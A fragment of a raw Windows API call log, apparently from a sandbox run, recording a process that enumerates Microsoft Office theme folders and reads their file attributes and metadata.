ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.079] GetLastError () returned 0x12 [0241.079] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.079] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.079] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.080] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.080] GetLastError () returned 0x12 [0241.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.080] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.080] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.080] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0241.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0241.356] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x913d10 [0241.356] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x913d10, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x913d10, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x913d10) returned 1 [0241.356] NtClose (Handle=0x1bc) returned 0x0 [0241.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.356] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0241.356] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.356] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e508 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912550 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e528 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912658 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e548 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912760 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910b10 [0241.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912868 [0241.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.358] GetLastError () returned 0x12 [0241.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.358] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0241.358] GetLastError () returned 0x12 [0241.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911b00) returned 1 [0241.358] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0241.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x911c08) returned 1 [0241.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.358] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0241.359] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.359] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0241.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0241.413] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0241.413] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x913d10 [0241.413] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x913d10, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x913d10, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0241.413] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x913d10) returned 1 [0241.413] NtClose (Handle=0x1b0) returned 0x0 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911c08 [0241.414] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0241.414] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.414] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x911b00 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910b30 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912970 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.414] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.414] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910b50 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912a78 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x910b70 [0241.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x912b80 [0241.415] 